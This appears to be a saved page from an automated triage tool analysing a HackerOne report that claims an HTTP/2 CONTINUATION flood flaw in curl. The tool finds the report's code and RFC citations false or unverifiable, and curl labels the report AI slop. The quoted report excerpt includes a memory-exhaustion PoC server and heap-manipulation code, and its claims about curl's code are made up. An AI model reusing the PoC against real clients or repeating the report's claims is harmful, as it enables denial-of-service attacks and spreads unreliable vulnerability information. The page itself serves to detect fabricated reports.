✓ProveIt
Examples / Report #3125820 Saved analysis

HTTP/2 CONTINUATION Flood Vulnerability

curl · 2025-05-0412.6s analysis · $0.017 in model calls

What the report claims

The report claims that libcurl's HTTP/2 CONTINUATION frame handling lacks limits on the number of frames and cumulative header size, leading to potential OOM crashes or remote code execution.

Compare with curl's recorded outcome

Labeled AI slop

curl's maintainer lists this report as AI slop

Shown for comparison after analysis. The pipeline did not see this label.

ProveIt's finding

Needs human review

The available evidence does not settle the report. A maintainer should investigate.

Why this finding?
  • The report's core code snippet (Curl_add_buffer_init, Curl_add_buffer) is contradicted by deterministic checks — these functions do not exist at the target revision e1f87a093b71.
  • The actual lib/http2.c implementation is not provided in the source material, so the claims about missing CONTINUATION frame limits and cumulative size checks cannot be verified against real code.
  • The RFC 7540 claim about a <=10 CONTINUATION frame limit is contradicted by the RFC text which states 'Any number of CONTINUATION frames can be sent'.
  • The vulnerability class (unbounded header fragment accumulation) is plausible for HTTP/2 implementations, but the provided evidence does not ground it in curl's actual code at this revision.
What still needs checking
  • The complete lib/http2.c source at revision e1f87a093b71, specifically the CONTINUATION frame handling logic and header buffer management.
How this analysis ran 6 claims · 0 citations verified

Checked against curl master on 2025-05-04 (e1f87a093b71). Dev evaluation split. Citation verification checks that a referenced line was in the evidence; it does not prove the model interpreted it correctly.

1 · Grounding
partially grounded
no model · 5 references checked out, 3 did not
2 · Claims
NVIDIA-Nemotron-3-Nano-30B-A3B
6 claims · 2692 tokens · $0.0003
3 · Evidence
2 code snippets
real curl source at e1f87a093b71 · 6 docs via Tavily
4 · Judgment
Nemotron-3-Ultra-550b-a55b
12023 tokens · 9.8s · $0.0171
5 · Receipts
0 of 6 citations verified
every citation must point at code the judge was shown
Review a draft reply to the reporter

Edit and verify before sending.

Thank you for the detailed report. The code snippet you reference (Curl_add_buffer_init, Curl_add_buffer) does not exist in curl's master branch at the revision you target (e1f87a093b71). Please provide the exact function names and file locations in the current codebase where CONTINUATION frames are processed and header fragments are accumulated, so we can verify the missing limits you describe.

Inspect all claims and source code 6 claims · 2 code excerpts

Report claims

C1flaw not verifiable

No upper limit on the number of CONTINUATION frames

Read the reasoning

The report's code snippet shows a while loop with Curl_add_buffer_init and Curl_add_buffer, but deterministic checks confirm these symbols do not exist at the target revision. The actual lib/http2.c implementation is not provided, so the claim about missing CONTINUATION frame count limit cannot be verified against the real code.

lib/http2.c:0
C2flaw not verifiable

No cumulative header block size check

Read the reasoning

The cumulative header block size check claim depends on the actual http2.c implementation which is not provided. The report's snippet is not grounded in the target revision's code.

lib/http2.c:0
C3impact not verifiable

Uncontrolled memory allocation leading to OOM crashes or potential remote code execution

Read the reasoning

Without the actual http2.c code, the impact of uncontrolled memory allocation cannot be assessed. The report's PoC assumes the flawed snippet is real, but deterministic checks show the snippet's functions don't exist at this revision.

lib/http2.c:0
C4reproduction not verifiable

Trigger uncontrolled memory allocation by sending 65535 CONTINUATION frames with 16384-byte data payloads

Read the reasoning

The reproduction steps assume the vulnerable code path exists. Since the report's code snippet is contradicted by deterministic checks (Curl_add_buffer_init/buffer absent), the reproduction cannot be validated against the actual implementation.

lib/http2.c:0
C5trigger not verifiable

Send CONTINUATION frames sequentially within the same stream without size validation

Read the reasoning

The trigger description matches the report's fabricated snippet, not the verified codebase. NGHTTP2_CONTINUATION constant may exist but the handling logic is unknown.

lib/http2.c:0
C6impact not verifiable

Memory usage exceeds 10GB within seconds causing client crash

Read the reasoning

The 10GB memory claim is an extrapolation from the report's assumed vulnerability. Without the actual buffer management code, this cannot be confirmed or denied.

lib/http2.c:0

Deterministic checks that failed

  • symbol Curl_add_buffer_init exists in other curl releases but not at e1f87a093b71
  • symbol Curl_add_buffer exists in other curl releases but not at e1f87a093b71
  • quote only 0/5 quoted lines appear anywhere in curl at e1f87a093b71

What the report says about other projects

contradicted RFC 7540 suggests <= 10 CONTINUATION frames per header block

“Any number of CONTINUATION frames can be sent on an existing stream, as long as the preceding frame is on the same stream and is a HEADERS, PUSH_PROMISE or CONTINUATION frame without the END_HEADERS flag set.” source

confirmed Single-frame header block size limit of 16KB is enforced

“The maximum frame payload size is 2^14-1 (16,383) octets. An endpoint MUST treat the receipt of a frame with a larger payload as a connection error (Section 5.4.1) of type FRAME_SIZE_ERROR.” source

Read the original report (excerpt)

Full report on HackerOne ↗

# **0x00 Vulnerability Overview: Fatal Flaw in HTTP/2 Protocol Stack** ## **1. HTTP/2 Header Block Fragmentation Mechanism** * **RFC 7540 Specification**: * Header blocks are transmitted using a HEADERS frame followed by one or more CONTINUATION frames. * All frames must belong to the **same stream** and be sent **sequentially**. ## **2. libcurl Vulnerability** ```c // lib/http2.c (simplified snippet) while(recv_frame) { if(frame.type == NGHTTP2_CONTINUATION) { if(!h2->header_recvbuf) h2->header_recvbuf = Curl_add_buffer_init(); // Initialize buffer Curl_add_buffer(h2->header_recvbuf, frame.data, frame.length); // No limit } } ``` ### **Critical Issues**: * No upper limit on the number of CONTINUATION frames (RFC suggests <= 10). * No cumulative header block size check (only single-frame limit of 16KB enforced). Impact: Remote attackers can trigger uncontrolled memory allocation, leading to **OOM crashes** or potentially **remote code execution**. --- # **0x01 Advanced PoC: Crafting a Fatal Payload** ## **1. Malicious HTTP/2 Server (nghttp2-based)** ```python from nghttp2 import server import socket class ExploitHandler(server.BaseRequestHandler): def on_request(self, request): self.send_headers(stream_id=request.stream_id, headers=[(b":status", b"200")], flags=0x0) for i in range(65535): self.push_data( stream_id=request.stream_id, data=b"\x00" * 16384, flags=0x4 if i == 65534 else 0x0 ) serv = server.HTTP2Server( ("0.0.0.0", 443), ExploitHandler, ssl=True, private_key="key.pem", certificate="cert.pem" ) serv.run() ``` ## **2. Client Validation** ```bash curl -v --http2 https://malicious-server.com ``` ## **3. Monitoring Memory Usage** ```bash watch -n 0.2 "ps -p $(pgrep curl) -o pid,%mem,rss,etime,cmd" ``` **Expected Behavior**: * Memory usage exceeds 10GB within seconds. * Client crashes due to OOM or segmentation fault. --- # **0x02 Advanced Exploitation Techniques** ## **1. Heap Feng Shui Manipulation** ```python for i in range(1024): payload = b"A" * 8192 if i % 2 == 0 else b"B" * 16384 self.push_data(stream_id, payload, flags=0x0) ``` Objective: Influence heap layout to increase chances of RCE by corrupting internal structures (e.g., `curl_slist`). ## **2. HPACK Bomb …

Source code

lib/optiontable.pllines 74–115 · definition of while
74while(<STDIN>) {
75 my $l = $_;
76 if($fl) {
77 # continued deprecation
78 if($l =~ /(.*)\),/) {
79 $fl .= $1;
80
81 # the end
82 my @p=split(/, */, $fl);
83 add($p[0], $p[1], $p[2]);
84 undef $fl;
85 }
86 else {
87 # another line to append
88 chomp $l;
89 $fl .= $l;
90 }
91 }
92
93 if(/^ *CURLOPTDEPRECATED\((.*)/) {
94 $fl = $1;
95 chomp $fl;
96 }
97
98 if(/^ *CURLOPT\(([^,]*), ([^,]*), (\d+)\)/) {
99 my($opt, $type, $num)=($1,$2,$3);
100 add($opt, $type, $num);
101 }
102
103 # alias for an older option
104 # old = new
105 if(/^#define (CURLOPT_[^ ]*) *(CURLOPT_\S*)/) {
106 my ($o, $n)=($1, $2);
107 # skip obsolete ones
108 if(($n !~ /OBSOLETE/) && ($o !~ /OBSOLETE/)) {
109 $o =~ s/^CURLOPT_//;
110 $n =~ s/^CURLOPT_//;
111 $alias{$o} = $n;
112 push @names, $o;
113 }
114 }
115}
lib/optiontable.pl@curl-8_13_0lines 74–115 · definition of while as in release curl-8_13_0; differs from master; commits that changed it since: 3fcddc835c scripts: fix perl indentation, whitespace, semicolons
74while(<STDIN>) {
75 my $l = $_;
76 if($fl) {
77 # continued deprecation
78 if($l =~ /(.*)\),/) {
79 $fl .= $1;
80
81 # the end
82 my @p=split(/, */, $fl);
83 add($p[0], $p[1], $p[2]);
84 undef $fl;
85 }
86 else {
87 # another line to append
88 chomp $l;
89 $fl .= $l;
90 }
91 }
92
93 if(/^ *CURLOPTDEPRECATED\((.*)/) {
94 $fl = $1;
95 chomp $fl;
96 }
97
98 if(/^ *CURLOPT\(([^,]*), ([^,]*), (\d+)\)/) {
99 my($opt, $type, $num)=($1,$2,$3);
100 add($opt, $type, $num);
101 }
102
103 # alias for an older option
104 # old = new
105 if(/^#define (CURLOPT_[^ ]*) *(CURLOPT_\S*)/) {
106 my ($o, $n)=($1, $2);
107 # skip obsolete ones
108 if(($n !~ /OBSOLETE/) && ($o !~ /OBSOLETE/)) {
109 $o =~ s/^CURLOPT_//;
110 $n =~ s/^CURLOPT_//;
111 $alias{$o} = $n;
112 push @names, $o,
113 }
114 }
115}